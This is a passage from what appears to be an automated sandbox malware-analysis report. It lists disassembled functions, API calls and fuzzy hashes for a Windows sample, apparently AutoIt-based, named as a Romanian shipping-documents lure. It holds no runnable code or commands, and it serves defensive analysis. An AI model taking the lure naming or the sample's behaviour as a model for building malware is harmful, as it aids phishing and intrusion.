                                                • ScreenToClient.USER32(?,?), ref: 00D6E00F
                                                • ScreenToClient.USER32(?,?), ref: 00D6E033
                                                • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D6E04E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClientRectScreen$InvalidateWindow
                                                • String ID:
                                                • API String ID: 357397906-0
                                                • Opcode ID: b55af0df3b748d5a3eba3c4368686d61400e25bfe6c3a019648db54421a9185f
                                                • Instruction ID: 3c4e576025c2ada0e399a225f4746a36e475fc801b344decaf80242f5d44c232
                                                • Opcode Fuzzy Hash: b55af0df3b748d5a3eba3c4368686d61400e25bfe6c3a019648db54421a9185f
                                                • Instruction Fuzzy Hash: F0111FB9D0020DAFDB41DF98C9859EEBBF9FF08210F108166E925E3250E735AA55CF61
                                                Function 00D27A94 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • __lock.LIBCMT ref: 00D27AD8
                                                  • Part of subcall function 00D27CF4: __mtinitlocknum.LIBCMT ref: 00D27D06
                                                  • Part of subcall function 00D27CF4: EnterCriticalSection.KERNEL32(00000000,?,00D27ADD,0000000D), ref: 00D27D1F
                                                • InterlockedIncrement.KERNEL32(?), ref: 00D27AE5
                                                • __lock.LIBCMT ref: 00D27AF9
                                                • ___addlocaleref.LIBCMT ref: 00D27B17
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
                                                • String ID:
                                                • API String ID: 1687444384-0
                                                • Opcode ID: 88bbfcfee596f13b6e07b28375d58ef92c841d4e5230427a77e02b1bc218f9d6
                                                • Instruction ID: faaa939e546df1818d661df291a073f47c859732da5ec960cb0e6669a244e3cc
                                                • Opcode Fuzzy Hash: 88bbfcfee596f13b6e07b28375d58ef92c841d4e5230427a77e02b1bc218f9d6
                                                • Instruction Fuzzy Hash: 2D015B71504B00DED7309F79E90674AB7E0EF60329F20890EA49A972A0CB70A644CB71
                                                Function 00D6E32E Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D6E33D
                                                • _memset.LIBCMT ref: 00D6E34C
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00DC3D00,00DC3D44), ref: 00D6E37B
                                                • CloseHandle.KERNEL32 ref: 00D6E38D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$CloseCreateHandleProcess
                                                • String ID:
                                                • API String ID: 3277943733-0
                                                • Opcode ID: 6f941bbef828fca156c33e94586ef6e6d7ceca3100385f03c4912c4b763af9d4
                                                • Instruction ID: 404949f205dfd0dc7dbd48e594d20e801f05b57368c24cb78a8fc78243c0ff7c
                                                • Opcode Fuzzy Hash: 6f941bbef828fca156c33e94586ef6e6d7ceca3100385f03c4912c4b763af9d4
                                                • Instruction Fuzzy Hash: A4F05EF1550316BAE2102B60AC45FB77E6CDB04755F008421BE0AD63E2D3759E0087B8
                                                Function 00D6EA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D1AFE3
                                                  • Part of subcall function 00D1AF83: SelectObject.GDI32(?,00000000), ref: 00D1AFF2
                                                  • Part of subcall function 00D1AF83: BeginPath.GDI32(?), ref: 00D1B009
                                                  • Part of subcall function 00D1AF83: SelectObject.GDI32(?,00000000), ref: 00D1B033
                                                • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D6EA8E
                                                • LineTo.GDI32(00000000,?,?), ref: 00D6EA9B
                                                • EndPath.GDI32(00000000), ref: 00D6EAAB
                                                • StrokePath.GDI32(00000000), ref: 00D6EAB9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                • String ID:
                                                • API String ID: 1539411459-0
                                                • Opcode ID: 56bb0e2eaa563f2a65d310dcaaa59380dfcf8dd2c6819f0b3056d0105c8e0494
                                                • Instruction ID: 252c40d6ea9bbc5fb846091a9fa28aad203291b329e939dbb5aa5c37d7623658
                                                • Opcode Fuzzy Hash: 56bb0e2eaa563f2a65d310dcaaa59380dfcf8dd2c6819f0b3056d0105c8e0494
                                                • Instruction Fuzzy Hash: 7EF0823504536ABBDB12AF94AC0DFCE3F1AAF06311F084201FA11A52E1C7745552DBB5
                                                Function 00D3C82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00D3C84A
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00D3C85D
                                                • GetCurrentThreadId.KERNEL32 ref: 00D3C864
                                                • AttachThreadInput.USER32(00000000), ref: 00D3C86B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                • String ID:
                                                • API String ID: 2710830443-0
                                                • Opcode ID: 5d6d4d4c3e3921bd05ddf4952e774f3cb59b20473d9b1d8091210b762b29da90
                                                • Instruction ID: 11982ba0a12e89307ab54261c4e3ec0273944c354053372d1b0d351f245cb632
                                                • Opcode Fuzzy Hash: 5d6d4d4c3e3921bd05ddf4952e774f3cb59b20473d9b1d8091210b762b29da90
                                                • Instruction Fuzzy Hash: A9E0157115132CBADB201BA29C0EEDB7F1DEF167A1F008021B609D45E0D6B18681DBF0
                                                Function 00D3B0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThread.KERNEL32 ref: 00D3B0D6
                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,00D3AC9D), ref: 00D3B0DD
                                                • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00D3AC9D), ref: 00D3B0EA
                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,00D3AC9D), ref: 00D3B0F1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentOpenProcessThreadToken
                                                • String ID:
                                                • API String ID: 3974789173-0
                                                • Opcode ID: c567658b773b48803d6a3926b2c4cd73e921c40f79783165968cedbbfece593e
                                                • Instruction ID: 24516993c6e54dc03b013fb06b091f06b744f3ffed905d84ce1c1cb3b587b126
                                                • Opcode Fuzzy Hash: c567658b773b48803d6a3926b2c4cd73e921c40f79783165968cedbbfece593e
                                                • Instruction Fuzzy Hash: E6E086326113119BD7202FB19C0CF473BAAEF557A5F118818F341D61C0DB348401C771
                                                Function 00D1B47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000008), ref: 00D1B496
                                                • SetTextColor.GDI32(?,000000FF), ref: 00D1B4A0
                                                • SetBkMode.GDI32(?,00000001), ref: 00D1B4B5
                                                • GetStockObject.GDI32(00000005), ref: 00D1B4BD
                                                • GetWindowDC.USER32(?,00000000), ref: 00D7DE2B
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00D7DE38
                                                • GetPixel.GDI32(00000000,?,00000000), ref: 00D7DE51
                                                • GetPixel.GDI32(00000000,00000000,?), ref: 00D7DE6A
                                                • GetPixel.GDI32(00000000,?,?), ref: 00D7DE8A
                                                • ReleaseDC.USER32(?,00000000), ref: 00D7DE95
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                • String ID:
                                                • API String ID: 1946975507-0
                                                • Opcode ID: 4802607ab2c790d2e5dbcb97f9e23f6bbe3bfbd52bfa8d92fc9b473a4b6d1b12
                                                • Instruction ID: b3a4fb09b7c2d1a2956115ac8c80c3f8c325d8c56df3b1b0d290ed5eb2042381
                                                • Opcode Fuzzy Hash: 4802607ab2c790d2e5dbcb97f9e23f6bbe3bfbd52bfa8d92fc9b473a4b6d1b12
                                                • Instruction Fuzzy Hash: 92E0ED31110340AEDF216B64EC0DBD83B23AF52339F18C666F6A9980E5D7754981DB31
                                                Function 00D3B2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D3B2DF
                                                • UnloadUserProfile.USERENV(?,?), ref: 00D3B2EB
                                                • CloseHandle.KERNEL32(?), ref: 00D3B2F4
                                                • CloseHandle.KERNEL32(?), ref: 00D3B2FC
                                                  • Part of subcall function 00D3AB24: GetProcessHeap.KERNEL32(00000000,?,00D3A848), ref: 00D3AB2B
                                                  • Part of subcall function 00D3AB24: HeapFree.KERNEL32(00000000), ref: 00D3AB32
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                • String ID:
                                                • API String ID: 146765662-0
                                                • Opcode ID: a4b5a73efb9560bb139f0dcf7a459ce078c5565e28a15ad97b5f21f54724dc7b
                                                • Instruction ID: 1252a3e6c89aed6c5781b3571639a295c3244de6d271570e538afcfb022b3fc2
                                                • Opcode Fuzzy Hash: a4b5a73efb9560bb139f0dcf7a459ce078c5565e28a15ad97b5f21f54724dc7b
                                                • Instruction Fuzzy Hash: F4E0B63A114105BBDB012BA5EC08859FBA7FF993213108221F625C16F1CB32A871EBA1
                                                Function 00D7B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: 4971b13a152d2ec1fa88359253e2fdd597f38266343340efe7d194724109238e
                                                • Instruction ID: 73d0d855a929e1e1d125e82a8224bc2c5040ba714f2dd414fb643af5bcece666
                                                • Opcode Fuzzy Hash: 4971b13a152d2ec1fa88359253e2fdd597f38266343340efe7d194724109238e
                                                • Instruction Fuzzy Hash: 81E01AB1110308EFDB006F709849A6D7BAAEB4C350F11C806F95AC7391EB7498408B60
                                                Function 00D7B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: 36094939ae14142295ae847fc461b2304af5dfcb573d5221427409304b8da788
                                                • Instruction ID: a5897ed51d28f40ae0d6ac02963cfdec4ccb854132170f42e6762f76b6870ed8
                                                • Opcode Fuzzy Hash: 36094939ae14142295ae847fc461b2304af5dfcb573d5221427409304b8da788
                                                • Instruction Fuzzy Hash: C2E012B1510308AFDB006F709849A697BAAEB4C390B118809F95ACB390EB7998408B60
                                                Function 00D3DCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OleSetContainedObject.OLE32(?,00000001), ref: 00D3DEAA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ContainedObject
                                                • String ID: AutoIt3GUI$Container
                                                • API String ID: 3565006973-3941886329
                                                • Opcode ID: 48b84deea7cdfff80caed86c9e607191d11d1006d9e16929e16149d81a936fb0
                                                • Instruction ID: 114dc9e82841dd7de103a91a43b1a6ef6c48169c1659b276667e5c676ac8024b
                                                • Opcode Fuzzy Hash: 48b84deea7cdfff80caed86c9e607191d11d1006d9e16929e16149d81a936fb0
                                                • Instruction Fuzzy Hash: 8C912574600701AFDB14DF64D884A6ABBBAFF49710F24856EF84ADB691DB70E841CF60
                                                Function 00D4DE7C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1C6F4: _wcscpy.LIBCMT ref: 00D1C717
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • __wcsnicmp.LIBCMT ref: 00D4DEFD
                                                • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00D4DFC6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                • String ID: LPT
                                                • API String ID: 3222508074-1350329615
                                                • Opcode ID: 9ec8dcdd20e4a5d0123965b848039b219042c31caf9244506c8754d5227ad2fc
                                                • Instruction ID: 44dd069fe07cbf16bd20e1f60220eb804173c982216974bca0e0e78518730205
                                                • Opcode Fuzzy Hash: 9ec8dcdd20e4a5d0123965b848039b219042c31caf9244506c8754d5227ad2fc
                                                • Instruction Fuzzy Hash: 1E619175A00215AFCB24DF98C895EAEB7F5FF18710F044069F596AB291DB70AE44CBB0
                                                Function 00D1BCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNEL32(00000000), ref: 00D1BCDA
                                                • GlobalMemoryStatusEx.KERNEL32 ref: 00D1BCF3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: GlobalMemorySleepStatus
                                                • String ID: @
                                                • API String ID: 2783356886-2766056989
                                                • Opcode ID: 9821bac8d426b7bfa8fa444ed759212c6f6640bd0395af859d0128b040bb2d3c
                                                • Instruction ID: dc34328214c4ede548eb5839384dca606ac737c083abb48d3bdbfaa2bf839178
                                                • Opcode Fuzzy Hash: 9821bac8d426b7bfa8fa444ed759212c6f6640bd0395af859d0128b040bb2d3c
                                                • Instruction Fuzzy Hash: 9A512871408748EBE320AF14E885BAFBBE8FF94354F414C4DF1C8811A6DF7185A98B66
                                                Function 00D4C56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D044ED: __fread_nolock.LIBCMT ref: 00D0450B
                                                • _wcscmp.LIBCMT ref: 00D4C65D
                                                • _wcscmp.LIBCMT ref: 00D4C670
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscmp$__fread_nolock
                                                • String ID: FILE
                                                • API String ID: 4029003684-3121273764
                                                • Opcode ID: d89c2056ae3cb62f6e5bb39935e2fa1a7dad62611c1d0a79b524796684ea92e5
                                                • Instruction ID: 87f62ceeb438ad305c712f65bc2b377712f8468784d03a28683b2267affdc5b8
                                                • Opcode Fuzzy Hash: d89c2056ae3cb62f6e5bb39935e2fa1a7dad62611c1d0a79b524796684ea92e5
                                                • Instruction Fuzzy Hash: D541D276A0021ABBDF20ABA49C42FEF77B9EF49714F014069F605EB191D6B1DA048B71
                                                Function 00D6A76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 00D6A85A
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D6A86F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: '
                                                • API String ID: 3850602802-1997036262
                                                • Opcode ID: ab137fa0f1e2aca8d1d37b92975c85edc22e2960c8a8ddb198d95aafea5dfb81
                                                • Instruction ID: 40cdb2903d864ed276086ab2de5459c7fe9f11a35bae333a834c67c5fa51b525
                                                • Opcode Fuzzy Hash: ab137fa0f1e2aca8d1d37b92975c85edc22e2960c8a8ddb198d95aafea5dfb81
                                                • Instruction Fuzzy Hash: 3641E974A0130A9FDB14CF68C881BDABBB5FF09300F14016AE945EB381D770A945CFA1
                                                Function 00D55180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D55190
                                                • InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00D551C6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CrackInternet_memset
                                                • String ID: |
                                                • API String ID: 1413715105-2343686810
                                                • Opcode ID: d0163ba45ae9d9341da22b13de2db3ab818c2a8b252e33f29f5a877308778f29
                                                • Instruction ID: 042b22ff9f2ffe47492b8e2f0da740686f190bc18c0ad07387e272433e9c90a2
                                                • Opcode Fuzzy Hash: d0163ba45ae9d9341da22b13de2db3ab818c2a8b252e33f29f5a877308778f29
                                                • Instruction Fuzzy Hash: E7311871810119ABCF01AFE4DD85AEE7FB9FF15700F000155EC19A61A6DA31A906DBB4
                                                Function 00D6975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
